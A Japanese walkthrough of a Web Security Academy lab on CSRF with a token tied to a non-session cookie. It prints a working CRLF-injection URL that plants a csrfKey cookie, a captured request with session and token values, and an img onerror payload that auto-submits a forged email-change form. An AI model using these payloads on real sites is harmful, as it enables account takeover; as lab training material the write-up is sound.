Hello there, ('ω')ノ
トークンが非セッションCookieに関連付けられているCSRFを。
このラボのメール変更機能はCSRFに対して脆弱で。
トークンはサイトのセッション処理システムに完全には統合されていなとのこと。
CSRF攻撃で、電子メールアドレスを変更せよと。
carlos ⇨ wienerのメールアドレスを変更することに。
まずは、wienerでログインして。
検索してみると。
検索ワードが、Set-Cookieヘッダに反映されていて。
URLに下記のパラメータを追加して実行してみると。
https://ac8e1fe01ea6db3d800733d600700052.web-security-academy.net/?search=abc123%0D%0ASet-Cookie: csrfKey=test
被害者のブラウザにCookieを挿入できるので、この脆弱性を利用するとに。
念のため、メールアドレスの変更動作確認を。
一応、リクエストをリピータへあげておくことに。
一方、プライベートウィンドウを開いて。
carlosでログインして。
メールアドレスを変更してみて。
リクエストをリピータへ。
リクエストを確認すると csrfKey cookieとcsrf パラメータが確認できて。
このリクエストをCSRF PoCへ。
Cookie: LastSearchTerm=abc123; session=Ldv8aDl1qZuTkXcmE4fWE1u4oSEF7SAn; csrfKey=IzBbcEy3QlJyJoxDGTwUtdWrPO1uALlM
Upgrade-Insecure-Requests: 1
email=hack%40mail.com&csrf=Y5RAhU7ma8BpfUPnNWfopd7KzY6aZosB
オプションを設定して。
上部のエリアで変更後のメールアドレスに変更して、Regenerateを。
はじめに脆弱性を確認して検索機能にはCSRF保護がなかったので。
上部エリアにあるcarlosのcsrfKeyを。
csrfKey=IzBbcEy3QlJyJoxDGTwUtdWrPO1uALlM
検索で使用したURLを利用して、CSRFトークン生成のためcsrfKeyを置き換えて。
下部のCSRF HTMLのパラメータをscriptブロックに挿入してCopy HTMLを。
<img src="https://ac8e1fe01ea6db3d800733d600700052.web-security-academy.net/?search=abc123%0D%0ASet-Cookie: csrfKey=IzBbcEy3QlJyJoxDGTwUtdWrPO1uALlM" onerror="document.forms[0].submit()">
HTMLを貼り付けて、Storeすると。
クリアできた。
View exploitをクリックするとエクスプロイトのページが表示されて。
メールアドレスが下記に変更となっていて。
hacked@mail.com
Best regards, (^^ゞ